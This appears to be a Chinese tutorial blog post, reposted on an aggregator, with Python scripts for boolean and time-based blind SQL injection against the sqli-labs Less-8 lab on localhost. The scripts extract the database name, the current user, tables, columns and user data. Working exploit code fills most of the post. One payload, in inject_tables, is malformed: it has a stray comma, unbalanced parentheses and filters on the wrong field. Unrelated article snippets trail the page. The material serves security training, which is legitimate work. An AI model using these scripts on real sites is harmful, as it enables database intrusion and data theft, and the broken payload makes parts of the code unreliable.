sql盲注脚本

在sqli-labs中的第8题无回显可以尝试盲注的手法获取数据

发现页面加载了3秒左右可以进行盲注

布尔盲注数据库名

import requests


def inject_database(url):
    dataname=''
    for i in range(1,15):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            path = "id=1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)
            r = requests.get(url,path)
            if "You are in..........." in r.text:
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
        print(dataname)

if __name__=='__main__':
    url = 'http://127.0.0.1:8989/Less-8/'
    inject_database(url)

结果

用时间盲注出用户名

import requests
import time

def inject_user(url):
    user=''
    for i in range(1,15):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = f"1' and if(ascii(substr(user(), {i}, 1)) > {mid},sleep(1),0)-- "
            res = {"id":payload}
            start_time = time.time()
            r = requests.get(url,params=res)
            if (time.time() - start_time)>1:
                # 匹配成功
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        user += chr(mid)
        print(user)

if __name__=='__main__':
    url = 'http://127.0.0.1:8989/Less-8/'
    inject_user(url)

结果

用盲注的方式查询表、列、具体数据

if __name__ == '__main__':
    url = 'http://127.0.0.1:8989/Less-8/'
    
    # 获取当前数据库名
    database_name = inject_database(url)
    print(f"Database name: {database_name}")
    
    # 获取数据库中的表名
    tables = inject_tables(url, database_name)
    print(f"Tables in database '{database_name}': {tables}")
    
    # 获取指定表中的列名
    table_name = 'users'  # 替换为目标表名
    columns = inject_columns(url, table_name)
    print(f"Columns in table '{table_name}': {columns}")
    
    # 获取指定表中特定列的数据
    column_name = 'username'  # 替换为目标列名
    data = inject_data(url, table_name, column_name)
    print(f"Data in column '{column_name}' of table '{table_name}': {data}")

时间检测模块

# 发送请求并检查响应时间
def check_time_injection(url, payload):
    res = {"id": payload}
    start_time = time.time()
    r = requests.get(url, params=res)
    elapsed_time = time.time() - start_time
    return elapsed_time > 1  # 假设延迟超过1秒表示查询成功

数据库模块

# 获取当前数据库名
def inject_database(url):
    dataname=''
    for i in range(1,15):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)
            res = {"id":payload}
            r = requests.get(url,params=res)
            if "You are in..........." in r.text:
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
        print(dataname)
    return dataname

数据库中表名模块

# 获取指定数据库中的表名
def inject_tables(url, database_name):
    tables = []
    table_index = 0
    
    while True:
        table_index += 1
        table_name = ''
        for i in range(1, 20):  # 假设表名长度不超过20字符
            low = 32
            high = 128
            while low < high:
                mid = (low + high) // 2
                payload = f",' and if(ascii(substr(select table_name from information_schema.tables where table_name='{database_name}' limit {table_index-1},1),{i},1 > {mid},sleep(1),0)-- "
                if check_time_injection(url, payload):
                    low = mid + 1
                else:
                    high = mid
            if low == 32:  # ASCII码32为空格,通常表示结束
                break
            table_name += chr(low)
            print(f"Current table name: {table_name}")
        
        if table_name:
            tables.append(table_name)
            print(f"Found table: {table_name}")
        else:
            break
    
    return tables

列名模块

def inject_columns(url, table_name):
    columns = []
    column_index = 0
    
    while True:
        column_index += 1
        column_name = ''
        for i in range(1, 20):  # 假设列名长度不超过20字符
            low = 32
            high = 128
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_name='{table_name}' limit {column_index-1},1),{i},1)) > {mid},sleep(1),0) -- "
                if check_time_injection(url, payload):
                    low = mid + 1
                else:
                    high = mid
            if low == 32:  # ASCII码32为空格,通常表示结束
                break
            column_name += chr(low)
            print(f"Current column name: {column_name}")
        
        if column_name:
            columns.append(column_name)
            print(f"Found column: {column_name}")
        else:
            break
    
    return columns

指定查询数据模块

# 获取指定表中特定列的数据
def inject_data(url, table_name, column_name):
    data = []
    row_index = 0
    
    while True:
        row_index += 1
        row_value = ''
        for i in range(1, 20):  # 假设数据长度不超过20字符
            low = 32
            high = 128
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select {column_name} from {table_name} limit {row_index-1},1),{i},1)) > {mid},sleep(1),0) -- "
                if check_time_injection(url, payload):
                    low = mid + 1
                else:
                    high = mid
            if low == 32:  # ASCII码32为空格,通常表示结束
                break
            row_value += chr(low)
            print(f"Current row value: {row_value}")
        
        if row_value:
            data.append(row_value)
            print(f"Found data: {row_value}")
        else:
            break
    
    return data

结果

数据库

user

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/971784.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux下学【MySQL】常用函数助你成为数据库大师~(配sql+实操图+案例巩固 通俗易懂版~)

绪论​ 每日激励&#xff1a;“唯有努力&#xff0c;才能进步” 绪论​&#xff1a; 本章是MySQL中常见的函数&#xff0c;利用好函数能很大的帮助我们提高MySQL使用效率&#xff0c;也能很好处理一些情况&#xff0c;如字符串的拼接&#xff0c;字符串的获取&#xff0c;进制…

Linux(centos)系统安装部署MySQL8.0数据库(GLIBC版本)

安装前检查服务器glibc版本&#xff0c;下载对应版本包 rpm -qa | grep glibc mysql安装包及依赖包已整理好&#xff0c;下载地址&#xff1a;https://pan.quark.cn/s/3137acc814c0&#xff0c;下载即可安装 一、下载MySQL mysql安装包及依赖包已整理好&#xff0c;下载地址…

Java基于 SpringBoot+Vue的微信小程序跑腿平台V2.0(附源码,文档)

博主介绍&#xff1a;✌Java徐师兄、7年大厂程序员经历。全网粉丝13w、csdn博客专家、掘金/华为云等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&#x1f3fb; 不…

git版本控制工具介绍

版本控制 版本控制是软件开发过程中用于管理代码变更的重要手段&#xff0c;它可以记录代码的历史版本&#xff0c;方便开发者进行回溯、协作和问题排查。本地版本控制、集中版本控制和分布式版本控制是三种不同的版本控制模式 本地版本控制 本地版本控制是最基础的版本控制方…

深入解析 vLLM:高性能 LLM 服务框架的架构之美(二)调度管理

深入解析 vLLM&#xff1a;高性能 LLM 服务框架的架构之美&#xff08;一&#xff09;原理与解析 深入解析 vLLM&#xff1a;高性能 LLM 服务框架的架构之美&#xff08;二&#xff09;调度管理 1. vLLM 调度器结构与主要组件 在 vLLM 中&#xff0c;调度器的结构设计围绕任务…

重构测试项目为spring+springMVC+Mybatis框架

重构测试项目为springspringMVCMybatis框架 背景 继上次将自动化测试时的医药管理信息系统项目用idea运行成功后&#xff0c;由于项目结构有些乱&#xff0c;一部分代码好像也重复&#xff0c;于是打算重新重构以下该项目&#xff0c;这次先使用springspringMVCMybatis框架 …

RAGFlow

相关链接 ragflow.io 官网 github 相关术语 RAG “Retrieval-Augmented Generation”&#xff08;RAG&#xff09;是一种结合了检索&#xff08;Retrieval&#xff09;和生成&#xff08;Generation&#xff09;的深度学习模型架构。这种模型通常用于处理自然语言处理&…

java断点调试(debug)

在开发中&#xff0c;新手程序员在查找错误时, 这时老程序员就会温馨提示&#xff0c;可以用断点调试&#xff0c;一步一步的看源码执行的过程&#xff0c;从而发现错误所在。 重要提示: 断点调试过程是运行状态&#xff0c;是以对象的运行类型来执行的 断点调试介绍 断点调试是…

最新智能优化算法: 阿尔法进化(Alpha Evolution,AE)算法求解23个经典函数测试集,MATLAB代码

一、阿尔法进化算法 阿尔法进化&#xff08;Alpha Evolution&#xff0c;AE&#xff09;算法是2024年提出的一种新型进化算法&#xff0c;其核心在于通过自适应基向量和随机步长的设计来更新解&#xff0c;从而提高算法的性能。以下是AE算法的主要步骤和特点&#xff1a; 主…

llama.cpp部署 DeepSeek-R1 模型

一、llama.cpp 介绍 使用纯 C/C推理 Meta 的LLaMA模型&#xff08;及其他模型&#xff09;。主要目标llama.cpp是在各种硬件&#xff08;本地和云端&#xff09;上以最少的设置和最先进的性能实现 LLM 推理。纯 C/C 实现&#xff0c;无任何依赖项Apple 芯片是一流的——通过 A…

国产编辑器EverEdit - 如虎添翼的功能:快速选择

1 快速选择 1.1 应用场景 快速选择适用于批量选择和修改的场景&#xff0c;比如&#xff1a;变量改名。 1.2 使用方法 1.2.1 逐项快速选择 将光标放置在单词前或单词中&#xff0c;选择主菜单查找 -> 快速选择 -> 快速选择或使用快捷键Ctrl D 注&#xff1a;光标放…

基于flask+vue的租房信息可视化系统

✔️本项目利用 python 网络爬虫抓取某租房网站的租房信息&#xff0c;完成数据清洗和结构化&#xff0c;存储到数据库中&#xff0c;搭建web系统对各个市区的租金、房源信息进行展示&#xff0c;根据各种条件对租金进行预测。 1、数据概览 ​ 将爬取到的数据进行展示&#xff…

vue非组件的初学笔记

1.创建Vue实例&#xff0c;初始化渲染的核心 准备容器引包创建Vue实例new Vue() el用来指定控制的盒子data提供数据 2.插值表达式 作用利用表达式插值&#xff0c;将数据渲染到页面中 格式{{表达式}} 注意点 表达式的数据要在data中存在表达式是可计算结果的语句插值表达式…

Spring 事务及管理方式

Spring 事务管理是 Spring 框架的核心功能之一&#xff0c;它为开发者提供了一种方便、灵活且强大的方式来管理数据库事务。 1、事务的基本概念 事务是一组不可分割的操作序列&#xff0c;这些操作要么全部成功执行&#xff0c;要么全部失败回滚&#xff0c;以确保数据的一致…

百达翡丽(Patek Philippe):瑞士制表的巅峰之作(中英双语)

百达翡丽&#xff08;Patek Philippe&#xff09;&#xff1a;瑞士制表的巅峰之作 在钟表界&#xff0c;百达翡丽&#xff08;Patek Philippe&#xff09; 一直被誉为“世界三大名表”之一&#xff0c;并且常被认为是其中的至高存在。一句“没人能真正拥有一枚百达翡丽&#x…

153~173笔记

Pinia是Vue的最新状态管理工具&#xff0c;是Vuex的替代品 提供更加简单的API&#xff08;去掉了mutation&#xff09; 提供符合&#xff0c;组合式风格的API&#xff08;和Vue3新语法统一&#xff09; 去掉了modules的概念&#xff0c;每一个store都是一个独立的模块 配合Type…

【论文笔记】Transformer^2: 自适应大型语言模型

Code repo: https://github.com/SakanaAI/self-adaptive-llms 摘要 自适应大型语言模型&#xff08;LLMs&#xff09;旨在解决传统微调方法的挑战&#xff0c;这些方法通常计算密集且难以处理多样化的任务。本文介绍了Transformer&#xff08;Transformer-Squared&#xff09;…

c语言-链表习题

1.尾插法 Q6544 涉及&#xff1a; &#xff08;1&#xff09;创建链表 struct stu* createList() {struct stu *head NULL, *tail NULL, *newNode;char choice;char name[20];float price;do {printf("请输入书名 价格&#xff1a;\n");scanf("%s %f",…

阿里云一键部署DeepSeek-V3、DeepSeek-R1模型

目录 支持的模型列表 模型部署 模型调用 WebUI使用 在线调试 API调用 关于成本 FAQ 点击部署后服务长时间等待 服务部署成功后&#xff0c;调用API返回404 请求太长导致EAS网关超时 部署完成后&#xff0c;如何在EAS的在线调试页面调试 模型部署之后没有“联网搜索…

Springboot集成Spring AI和Milvus,验证RAG构建过程

在当今信息爆炸的时代&#xff0c;如何高效地管理和利用海量的知识数据成为了企业和开发者面临的重大挑战。基于AI的大模型和检索增强生成&#xff08;RAG, Retrieval-Augmented Generation&#xff09;技术为这一难题提供了全新的解决方案。通过结合向量数据库、Embedding技术…